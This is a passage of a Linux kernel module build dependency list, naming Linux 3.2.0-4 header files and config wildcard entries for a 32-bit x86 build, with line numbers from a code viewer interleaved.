/usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/arch_hweight.h \ 89 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/bitops/const_hweight.h \ 90 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/bitops/fls64.h \ 91 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/bitops/le.h \ 92 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/byteorder.h \ 93 | /usr/src/linux-headers-3.2.0-4-common/include/linux/byteorder/little_endian.h \ 94 | /usr/src/linux-headers-3.2.0-4-common/include/linux/swab.h \ 95 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/swab.h \ 96 | $(wildcard include/config/x86/bswap.h) \ 97 | /usr/src/linux-headers-3.2.0-4-common/include/linux/byteorder/generic.h \ 98 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/bitops/ext2-atomic-setbit.h \ 99 | /usr/src/linux-headers-3.2.0-4-common/include/linux/log2.h \ 100 | $(wildcard include/config/arch/has/ilog2/u32.h) \ 101 | $(wildcard include/config/arch/has/ilog2/u64.h) \ 102 | /usr/src/linux-headers-3.2.0-4-common/include/linux/typecheck.h \ 103 | /usr/src/linux-headers-3.2.0-4-common/include/linux/printk.h \ 104 | $(wildcard include/config/printk.h) \ 105 | $(wildcard include/config/dynamic/debug.h) \ 106 | /usr/src/linux-headers-3.2.0-4-common/include/linux/init.h \ 107 | $(wildcard include/config/hotplug.h) \ 108 | /usr/src/linux-headers-3.2.0-4-common/include/linux/dynamic_debug.h \ 109 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/bug.h \ 110 | $(wildcard include/config/bug.h) \ 111 | $(wildcard include/config/debug/bugverbose.h) \ 112 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/bug.h \ 113 | $(wildcard include/config/generic/bug/relative/pointers.h) \ 114 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/div64.h \ 115 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/cache.h \ 116 | $(wildcard include/config/x86/l1/cache/shift.h) \ 117 | $(wildcard include/config/x86/internode/cache/shift.h) \ 118 | $(wildcard include/config/x86/vsmp.h) \ 119 | /usr/src/linux-headers-3.2.0-4-common/include/linux/seqlock.h \ 120 | /usr/src/linux-headers-3.2.0-4-common/include/linux/spinlock.h \ 121 | $(wildcard include/config/debug/spinlock.h) \ 122 | $(wildcard include/config/generic/lockbreak.h) \ 123 | $(wildcard include/config/preempt.h) \ 124 | $(wildcard include/config/debug/lock/alloc.h) \ 125 | /usr/src/linux-headers-3.2.0-4-common/include/linux/preempt.h \ 126 | $(wildcard include/config/debug/preempt.h) \ 127 | $(wildcard include/config/preempt/tracer.h) \ 128 | $(wildcard include/config/preempt/count.h) \ 129 | $(wildcard include/config/preempt/notifiers.h) \ 130 | /usr/src/linux-headers-3.2.0-4-common/include/linux/thread_info.h \ 131 | $(wildcard include/config/compat.h) \ 132 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/thread_info.h \ 133 | $(wildcard include/config/debug/stack/usage.h) \ 134 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/page.h \ 135 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/page_types.h \ 136 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/page_32_types.h \ 137 | $(wildcard include/config/highmem4g.h) \ 138 | $(wildcard include/config/highmem64g.h) \ 139 | $(wildcard include/config/page/offset.h) \ 140 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/page_32.h \ 141 | $(wildcard include/config/hugetlb/page.h) \ 142 | $(wildcard include/config/debug/virtual.h) \ 143 | $(wildcard include/config/flatmem.h) \ 144 | $(wildcard include/config/x86/3dnow.h) \ 145 | /usr/src/linux-headers-3.2.0-4-common/include/linux/string.h \ 146 | $(wildcard include/config/binary/printf.h) \ 147 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/string.h \ 148 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/string_32.h \ 149 | $(wildcard include/config/kmemcheck.h) \ 150 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/memory_model.h \ 151 | $(wildcard include/config/discontigmem.h) \ 152 | $(wildcard include/config/sparsemem/vmemmap.h) \ 153 | $(wildcard include/config/sparsemem.h) \ 154 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/getorder.h \ 155 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/processor.h \ 156 | $(wildcard include/config/cc/stackprotector.h) \ 157 | $(wildcard include/config/m386.h) \ 158 | $(wildcard include/config/m486.h) \ 159 | $(wildcard include/config/x86/debugctlmsr.h) \ 160 | $(wildcard include/config/cpu/sup/amd.h) \ 161 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/processor-flags.h \ 162 | $(wildcard include/config/vm86.h) \ 163 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/vm86.h \ 164 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/ptrace.h \ 165 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/ptrace-abi.h \ 166 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/segment.h \ 167 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/paravirt_types.h \ 168 | $(wildcard include/config/x86/local/apic.h) \ 169 | $(wildcard include/config/paravirt/debug.h) \ 170 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/desc_defs.h \ 171 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/kmap_types.h \ 172 | $(wildcard include/config/debug/highmem.h) \ 173 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/kmap_types.h \ 174 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/pgtable_types.h \ 175 | $(wildcard include/config/compat/vdso.h) \ 176 | $(wildcard include/config/proc/fs.h) \ 177 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/pgtable_32_types.h \ 178 | $(wildcard include/config/highmem.h) \ 179 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/pgtable-2level_types.h \ 180 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/pgtable-nopud.h \ 181 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/pgtable-nopmd.h \ 182 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/ptrace.h \ 183 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/math_emu.h \ 184 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/sigcontext.h \ 185 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/current.h \ 186 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/percpu.h \ 187 | $(wildcard include/config/x86/64/smp.h) \ 188 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/percpu.h \ 189 | $(wildcard include/config/have/setup/per/cpu/area.h) \ 190 | /usr/src/linux-headers-3.2.0-4-common/include/linux/threads.h \ 191 | $(wildcard include/config/nr/cpus.h) \ 192 | $(wildcard include/config/base/small.h) \ 193 | /usr/src/linux-headers-3.2.0-4-common/include/linux/percpu-defs.h \ 194 | $(wildcard include/config/debug/force/weak/per/cpu.h) \ 195 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/system.h \ 196 | $(wildcard include/config/ia32/emulation.h) \ 197 | $(wildcard include/config/x86/32/lazy/gs.h) \ 198 | $(wildcard include/config/x86/ppro/fence.h) \ 199 | $(wildcard include/config/x86/oostore.h) \ 200 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/cmpxchg.h \ 201 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/cmpxchg_32.h \ 202 | $(wildcard include/config/x86/cmpxchg.h) \ 203 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/nops.h \ 204 | $(wildcard include/config/mk7.h) \ 205 | /usr/src/linux-headers-3.2.0-4-common/include/linux/irqflags.h \ 206 | $(wildcard include/config/trace/irqflags.h) \ 207 | $(wildcard include/config/irqsoff/tracer.h) \ 208 | $(wildcard include/config/trace/irqflags/support.h) \ 209 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/irqflags.h \ 210 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/paravirt.h \ 211 | $(wildcard include/config/transparent/hugepage.h) \ 212 | $(wildcard include/config/paravirt/spinlocks.h) \ 213 | /usr/src/linux-headers-3.2.0-4-common/include/linux/cpumask.h \ 214 | $(wildcard include/config/cpumask/offstack.h) \ 215 | $(wildcard include/config/hotplug/cpu.h) \ 216 | $(wildcard include/config/debug/per/cpu/maps.h) \ 217 | $(wildcard include/config/disable/obsolete/cpumask/functions.h) \ 218 | /usr/src/linux-headers-3.2.0-4-common/include/linux/bitmap.h \ 219 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/msr.h \ 220 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/msr-index.h \ 221 | /usr/src/linux-headers-3.2.0-4-common/include/linux/ioctl.h \ 222 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/ioctl.h \ 223 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/ioctl.h \ 224 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/errno.h \ 225 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/errno.h \ 226 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/errno-base.h \ 227 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/cpumask.h \ 228 | /usr/src/linux-headers-3.2.0-4-common/include/linux/personality.h \ 229 | /usr/src/linux-headers-3.2.0-4-common/include/linux/math64.h \ 230 | /usr/src/linux-headers-3.2.0-4-common/include/linux/err.h \ 231 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/ftrace.h \ 232 | $(wildcard include/config/function/tracer.h) \ 233 | $(wildcard include/config/dynamic/ftrace.h) \ 234 | /usr/src/linux-headers-3.2.0-4-common/include/linux/atomic.h \ 235 | $(wildcard include/config/arch/has/atomic/or.h) \ 236 | $(wildcard include/config/generic/atomic64.h) \ 237 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/atomic.h \ 238 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/atomic64_32.h \ 239 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/atomic-long.h \ 240 | /usr/src/linux-headers-3.2.0-4-common/include/linux/bottom_half.h \ 241 | /usr/src/linux-headers-3.2.0-4-common/include/linux/spinlock_types.h \ 242 | /usr/src/linux-headers-3.2.0-4-common/include/linux/spinlock_types_up.h \ 243 | /usr/src/linux-headers-3.2.0-4-common/include/linux/lockdep.h \ 244 | $(wildcard include/config/lockdep.h) \ 245 | $(wildcard include/config/lock/stat.h) \ 246 | $(wildcard include/config/prove/rcu.h) \ 247 | /usr/src/linux-headers-3.2.0-4-common/include/linux/rwlock_types.h \ 248 | /usr/src/linux-headers-3.2.0-4-common/include/linux/spinlock_up.h \ 249 | /usr/src/linux-headers-3.2.0-4-common/include/linux/rwlock.h \ 250 | /usr/src/linux-headers-3.2.0-4-common/include/linux/spinlock_api_up.h \ 251 | /usr/src/linux-headers-3.2.0-4-common/include/linux/kmod.h \ 252 | /usr/src/linux-headers-3.2.0-4-common/include/linux/gfp.h \ 253 | $(wildcard include/config/zone/dma.h) \ 254 | $(wildcard include/config/zone/dma32.h) \ 255 | /usr/src/linux-headers-3.2.0-4-common/include/linux/mmzone.h \ 256 | $(wildcard include/config/force/max/zoneorder.h) \ 257 | $(wildcard include/config/memory/hotplug.h) \ 258 | $(wildcard include/config/arch/populates/node/map.h) \ 259 | $(wildcard include/config/flat/node/mem/map.h) \ 260 | $(wildcard include/config/cgroup/mem/res/ctlr.h) \ 261 | $(wildcard include/config/no/bootmem.h) \ 262 | $(wildcard include/config/have/memory/present.h) \ 263 | $(wildcard include/config/have/memoryless/nodes.h) \ 264 | $(wildcard include/config/need/node/memmap/size.h) \ 265 | $(wildcard include/config/need/multiple/nodes.h) \ 266 | $(wildcard include/config/have/arch/early/pfn/to/nid.h) \ 267 | $(wildcard include/config/sparsemem/extreme.h) \ 268 | $(wildcard include/config/have/arch/pfn/valid.h) \ 269 | $(wildcard include/config/nodes/span/other/nodes.h) \ 270 | $(wildcard include/config/holes/in/zone.h) \ 271 | $(wildcard include/config/arch/has/holes/memorymodel.h) \ 272 | /usr/src/linux-headers-3.2.0-4-common/include/linux/wait.h \ 273 | /usr/src/linux-headers-3.2.0-4-common/include/linux/numa.h \ 274 | $(wildcard include/config/nodes/shift.h) \ 275 | /usr/src/linux-headers-3.2.0-4-common/include/linux/nodemask.h \ 276 | /usr/src/linux-headers-3.2.0-4-common/include/linux/pageblock-flags.h \ 277 | $(wildcard include/config/hugetlb/page/size/variable.h) \ 278 | include/generated/bounds.h \ 279 | /usr/src/linux-headers-3.2.0-4-common/include/linux/memory_hotplug.h \ 280 | $(wildcard include/config/memory/hotremove.h) \ 281 | $(wildcard include/config/have/arch/nodedata/extension.h) \ 282 | /usr/src/linux-headers-3.2.0-4-common/include/linux/notifier.h \ 283 | /usr/src/linux-headers-3.2.0-4-common/include/linux/errno.h \ 284 | /usr/src/linux-headers-3.2.0-4-common/include/linux/mutex.h \ 285 | $(wildcard include/config/debug/mutexes.h) \ 286 | $(wildcard include/config/have/arch/mutex/cpu/relax.h) \ 287 | /usr/src/linux-headers-3.2.0-4-common/include/linux/rwsem.h \ 288 | $(wildcard include/config/rwsem/generic/spinlock.h) \ 289 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/rwsem.h \ 290 | /usr/src/linux-headers-3.2.0-4-common/include/linux/srcu.h \ 291 | /usr/src/linux-headers-3.2.0-4-common/include/linux/topology.h \ 292 | $(wildcard include/config/sched/smt.h) \ 293 | $(wildcard include/config/sched/mc.h) \ 294 | $(wildcard include/config/sched/book.h) \ 295 | $(wildcard include/config/use/percpu/numa/node/id.h) \ 296 | /usr/src/linux-headers-3.2.0-4-common/include/linux/smp.h \ 297 | $(wildcard include/config/use/generic/smp/helpers.h) \ 298 | /usr/src/linux-headers-3.2.0-4-common/include/linux/percpu.h \ 299 | $(wildcard include/config/need/per/cpu/embed/first/chunk.h) \ 300 | $(wildcard include/config/need/per/cpu/page/first/chunk.h) \ 301 | /usr/src/linux-headers-3.2.0-4-common/include/linux/pfn.h \ 302 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/topology.h \ 303 | $(wildcard include/config/x86/ht.h) \ 304 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/topology.h \ 305 | /usr/src/linux-headers-3.2.0-4-common/include/linux/mmdebug.h \ 306 | $(wildcard include/config/debug/vm.h) \ 307 | /usr/src/linux-headers-3.2.0-4-common/include/linux/workqueue.h \ 308 | $(wildcard include/config/debug/objects/work.h) \ 309 | $(wildcard include/config/freezer.h) \ 310 | /usr/src/linux-headers-3.2.0-4-common/include/linux/timer.h \ 311 | $(wildcard include/config/timer/stats.h) \ 312 | $(wildcard include/config/debug/objects/timers.h) \ 313 | /usr/src/linux-headers-3.2.0-4-common/include/linux/ktime.h \ 314 | $(wildcard include/config/ktime/scalar.h) \ 315 | /usr/src/linux-headers-3.2.0-4-common/include/linux/jiffies.h \ 316 | /usr/src/linux-headers-3.2.0-4-common/include/linux/timex.h \ 317 | /usr/src/linux-headers-3.2.0-4-common/include/linux/param.h \ 318 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/param.h \ 319 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/param.h \ 320 | $(wildcard include/config/hz.h) \ 321 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/timex.h \ 322 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/tsc.h \ 323 | $(wildcard include/config/x86/tsc.h) \ 324 | /usr/src/linux-headers-3.2.0-4-common/include/linux/debugobjects.h \ 325 | $(wildcard include/config/debug/objects.h) \ 326 | $(wildcard include/config/debug/objects/free.h) \ 327 | /usr/src/linux-headers-3.2.0-4-common/include/linux/sysctl.h \ 328 | /usr/src/linux-headers-3.2.0-4-common/include/linux/rcupdate.h \ 329 | $(wildcard include/config/rcu/torture/test.h) \ 330 | $(wildcard include/config/tree/rcu.h) \ 331 | $(wildcard include/config/tree/preempt/rcu.h) \ 332 | $(wildcard include/config/preempt/rcu.h) \ 333 | $(wildcard include/config/no/hz.h) \ 334 | $(wildcard include/config/tiny/rcu.h) \ 335 | $(wildcard include/config/tiny/preempt/rcu.h) \ 336 | $(wildcard include/config/debug/objects/rcu/head.h) \ 337 | $(wildcard include/config/preempt/rt.h) \ 338 | /usr/src/linux-headers-3.2.0-4-common/include/linux/completion.h \ 339 | /usr/src/linux-headers-3.2.0-4-common/include/linux/rcutiny.h \ 340 | $(wildcard include/config/rcu/boost.h) \ 341 | /usr/src/linux-headers-3.2.0-4-common/include/linux/elf.h \ 342 | /usr/src/linux-headers-3.2.0-4-common/include/linux/elf-em.h \ 343 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/elf.h \ 344 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/user.h \ 345 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/user_32.h \ 346 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/auxvec.h \ 347 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/vdso.h \ 348 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/desc.h \ 349 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/ldt.h \ 350 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/mmu.h \ 351 | /usr/src/linux-headers-3.2.0-4-common/include/linux/kobject.h \ 352 | /usr/src/linux-headers-3.2.0-4-common/include/linux/sysfs.h \ 353 | /usr/src/linux-headers-3.2.0-4-common/include/linux/kobject_ns.h \ 354 | /usr/src/linux-headers-3.2.0-4-common/include/linux/kref.h \ 355 | /usr/src/linux-headers-3.2.0-4-common/include/linux/moduleparam.h \ 356 | $(wildcard include/config/alpha.h) \ 357 | $(wildcard include/config/ia64.h) \ 358 | $(wildcard include/config/ppc64.h) \ 359 | /usr/src/linux-headers-3.2.0-4-common/include/linux/tracepoint.h \ 360 | /usr/src/linux-headers-3.2.0-4-common/include/linux/jump_label.h \ 361 | $(wildcard include/config/jump/label.h) \ 362 | /usr/src/linux-headers-3.2.0-4-common/include/linux/export.h \ 363 | $(wildcard include/config/symbol/prefix.h) \ 364 | $(wildcard include/config/modversions.h) \ 365 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/module.h \ 366 | $(wildcard include/config/m586.h) \ 367 | $(wildcard include/config/m586tsc.h) \ 368 | $(wildcard include/config/m586mmx.h) \ 369 | $(wildcard include/config/mcore2.h) \ 370 | $(wildcard include/config/matom.h) \ 371 | $(wildcard include/config/m686.h) \ 372 | $(wildcard include/config/mpentiumii.h) \ 373 | $(wildcard include/config/mpentiumiii.h) \ 374 | $(wildcard include/config/mpentiumm.h) \ 375 | $(wildcard include/config/mpentium4.h) \ 376 | $(wildcard include/config/mk6.h) \ 377 | $(wildcard include/config/mk8.h) \ 378 | $(wildcard include/config/melan.h) \ 379 | $(wildcard include/config/mcrusoe.h) \ 380 | $(wildcard include/config/mefficeon.h) \ 381 | $(wildcard include/config/mwinchipc6.h) \ 382 | $(wildcard include/config/mwinchip3d.h) \ 383 | $(wildcard include/config/mcyrixiii.h) \ 384 | $(wildcard include/config/mviac3/2.h) \ 385 | $(wildcard include/config/mviac7.h) \ 386 | $(wildcard include/config/mgeodegx1.h) \ 387 | $(wildcard include/config/mgeode/lx.h) \ 388 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/module.h \ 389 | /usr/src/linux-headers-3.2.0-4-common/include/trace/events/module.h \ 390 | /usr/src/linux-headers-3.2.0-4-common/include/trace/define_trace.h \ 391 | /usr/src/linux-headers-3.2.0-4-common/include/linux/unistd.h \ 392 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/unistd.h \ 393 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/unistd_32.h \ 394 | /usr/src/linux-headers-3.2.0-4-common/include/linux/syscalls.h \ 395 | $(wildcard include/config/ftrace/syscalls.h) \ 396 | $(wildcard include/config/mips.h) \ 397 | $(wildcard include/config/have/syscall/wrappers.h) \ 398 | /usr/src/linux-headers-3.2.0-4-common/include/linux/aio_abi.h \ 399 | /usr/src/linux-headers-3.2.0-4-common/include/linux/capability.h \ 400 | /usr/src/linux-headers-3.2.0-4-common/include/linux/sem.h \ 401 | $(wildcard include/config/sysvipc.h) \ 402 | /usr/src/linux-headers-3.2.0-4-common/include/linux/ipc.h \ 403 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/ipcbuf.h \ 404 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/ipcbuf.h \ 405 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/sembuf.h \ 406 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/siginfo.h \ 407 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/siginfo.h \ 408 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/signal.h \ 409 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/signal-defs.h \ 410 | /usr/src/linux-headers-3.2.0-4-common/include/linux/quota.h \ 411 | $(wildcard include/config/quota/netlink/interface.h) \ 412 | /usr/src/linux-headers-3.2.0-4-common/include/linux/percpu_counter.h \ 413 | /usr/src/linux-headers-3.2.0-4-common/include/linux/dqblk_xfs.h \ 414 | /usr/src/linux-headers-3.2.0-4-common/include/linux/dqblk_v1.h \ 415 | /usr/src/linux-headers-3.2.0-4-common/include/linux/dqblk_v2.h \ 416 | /usr/src/linux-headers-3.2.0-4-common/include/linux/dqblk_qtree.h \ 417 | /usr/src/linux-headers-3.2.0-4-common/include/linux/key.h \ 418 | $(wildcard include/config/keys.h) \ 419 | $(wildcard include/config/sysctl.h) \ 420 | /usr/src/linux-headers-3.2.0-4-common/include/linux/rbtree.h \ 421 | /usr/src/linux-headers-3.2.0-4-common/include/trace/syscall.h \ 422 | $(wildcard include/config/perf/events.h) \ 423 | /usr/src/linux-headers-3.2.0-4-common/include/linux/ftrace_event.h \ 424 | /usr/src/linux-headers-3.2.0-4-common/include/linux/ring_buffer.h \ 425 | $(wildcard include/config/ring/buffer/allow/swap.h) \ 426 | /usr/src/linux-headers-3.2.0-4-common/include/linux/kmemcheck.h \ 427 | /usr/src/linux-headers-3.2.0-4-common/include/linux/mm_types.h \ 428 | $(wildcard include/config/split/ptlock/cpus.h) \ 429 | $(wildcard include/config/want/page/debug/flags.h) \ 430 | $(wildcard include/config/slub.h) \ 431 | $(wildcard include/config/cmpxchg/local.h) \ 432 | $(wildcard include/config/mmu.h) \ 433 | $(wildcard include/config/aio.h) \ 434 | $(wildcard include/config/mm/owner.h) \ 435 | $(wildcard include/config/mmu/notifier.h) \ 436 | /usr/src/linux-headers-3.2.0-4-common/include/linux/auxvec.h \ 437 | /usr/src/linux-headers-3.2.0-4-common/include/linux/prio_tree.h \ 438 | /usr/src/linux-headers-3.2.0-4-common/include/linux/page-debug-flags.h \ 439 | $(wildcard include/config/page/poisoning.h) \ 440 | $(wildcard include/config/page/debug/something/else.h) \ 441 | /usr/src/linux-headers-3.2.0-4-common/include/linux/mm.h \ 442 | $(wildcard include/config/stack/growsup.h) \ 443 | $(wildcard include/config/ksm.h) \ 444 | $(wildcard include/config/debug/pagealloc.h) \ 445 | $(wildcard include/config/hibernation.h) \ 446 | $(wildcard include/config/hugetlbfs.h) \ 447 | /usr/src/linux-headers-3.2.0-4-common/include/linux/debug_locks.h \ 448 | $(wildcard include/config/debug/locking/api/selftests.h) \ 449 | /usr/src/linux-headers-3.2.0-4-common/include/linux/range.h \ 450 | /usr/src/linux-headers-3.2.0-4-common/include/linux/bit_spinlock.h \ 451 | /usr/src/linux-headers-3.2.0-4-common/include/linux/shrinker.h \ 452 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/pgtable.h \ 453 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/e820.h \ 454 | $(wildcard include/config/efi.h) \ 455 | $(wildcard include/config/intel/txt.h) \ 456 | $(wildcard include/config/memtest.h) \ 457 | /usr/src/linux-headers-3.2.0-4-common/include/linux/ioport.h \ 458 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/x86_init.h \ 459 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/bootparam.h \ 460 | /usr/src/linux-headers-3.2.0-4-common/include/linux/screen_info.h \ 461 | /usr/src/linux-headers-3.2.0-4-common/include/linux/apm_bios.h \ 462 | /usr/src/linux-headers-3.2.0-4-common/include/linux/edd.h \ 463 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/ist.h \ 464 | /usr/src/linux-headers-3.2.0-4-common/include/video/edid.h \ 465 | $(wildcard include/config/x86.h) \ 466 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/pgtable_32.h \ 467 | $(wildcard include/config/highpte.h) \ 468 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/pgtable_32_types.h \ 469 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/fixmap.h \ 470 | $(wildcard include/config/provide/ohci1394/dma/init.h) \ 471 | $(wildcard include/config/x86/io/apic.h) \ 472 | $(wildcard include/config/x86/visws/apic.h) \ 473 | $(wildcard include/config/x86/f00f/bug.h) \ 474 | $(wildcard include/config/x86/cyclone/timer.h) \ 475 | $(wildcard include/config/pci/mmconfig.h) \ 476 | $(wildcard include/config/x86/mrst.h) \ 477 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/acpi.h \ 478 | $(wildcard include/config/acpi.h) \ 479 | $(wildcard include/config/acpi/numa.h) \ 480 | /usr/src/linux-headers-3.2.0-4-common/include/acpi/pdc_intel.h \ 481 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/numa.h \ 482 | $(wildcard include/config/numa/emu.h) \ 483 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/apicdef.h \ 484 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/numa_32.h \ 485 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/mpspec.h \ 486 | $(wildcard include/config/x86/numaq.h) \ 487 | $(wildcard include/config/mca.h) \ 488 | $(wildcard include/config/eisa.h) \ 489 | $(wildcard include/config/x86/mpparse.h) \ 490 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/mpspec_def.h \ 491 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/trampoline.h \ 492 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/io.h \ 493 | $(wildcard include/config/xen.h) \ 494 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/iomap.h \ 495 | $(wildcard include/config/has/ioport.h) \ 496 | $(wildcard include/config/pci.h) \ 497 | /usr/src/linux-headers-3.2.0-4-common/include/linux/vmalloc.h \ 498 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/pgtable-2level.h \ 499 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/pgtable.h \ 500 | /usr/src/linux-headers-3.2.0-4-common/include/linux/page-flags.h \ 501 | $(wildcard include/config/pageflags/extended.h) \ 502 | $(wildcard include/config/arch/uses/pg/uncached.h) \ 503 | $(wildcard include/config/memory/failure.h) \ 504 | $(wildcard include/config/swap.h) \ 505 | $(wildcard include/config/s390.h) \ 506 | /usr/src/linux-headers-3.2.0-4-common/include/linux/huge_mm.h \ 507 | /usr/src/linux-headers-3.2.0-4-common/include/linux/vmstat.h \ 508 | $(wildcard include/config/vm/event/counters.h) \ 509 | /usr/src/linux-headers-3.2.0-4-common/include/linux/vm_event_item.h \ 510 | /usr/src/linux-headers-3.2.0-4-common/include/linux/seq_file.h \ 511 | /usr/src/linux-headers-3.2.0-4-common/include/linux/trace_seq.h \ 512 | /usr/src/linux-headers-3.2.0-4-common/include/linux/fs.h \ 513 | $(wildcard include/config/fs/posix/acl.h) \ 514 | $(wildcard include/config/security.h) \ 515 | $(wildcard include/config/quota.h) \ 516 | $(wildcard include/config/fsnotify.h) \ 517 | $(wildcard include/config/ima.h) \ 518 | $(wildcard include/config/epoll.h) \ 519 | $(wildcard include/config/debug/writecount.h) \ 520 | $(wildcard include/config/file/locking.h) \ 521 | $(wildcard include/config/auditsyscall.h) \ 522 | $(wildcard include/config/block.h) \ 523 | $(wildcard include/config/fs/xip.h) \ 524 | $(wildcard include/config/migration.h) \ 525 | /usr/src/linux-headers-3.2.0-4-common/include/linux/limits.h \ 526 | /usr/src/linux-headers-3.2.0-4-common/include/linux/blk_types.h \ 527 | $(wildcard include/config/blk/dev/integrity.h) \ 528 | /usr/src/linux-headers-3.2.0-4-common/include/linux/kdev_t.h \ 529 | /usr/src/linux-headers-3.2.0-4-common/include/linux/dcache.h \ 530 | /usr/src/linux-headers-3.2.0-4-common/include/linux/rculist.h \ 531 | /usr/src/linux-headers-3.2.0-4-common/include/linux/rculist_bl.h \ 532 | /usr/src/linux-headers-3.2.0-4-common/include/linux/list_bl.h \ 533 | /usr/src/linux-headers-3.2.0-4-common/include/linux/path.h \ 534 | /usr/src/linux-headers-3.2.0-4-common/include/linux/radix-tree.h \ 535 | 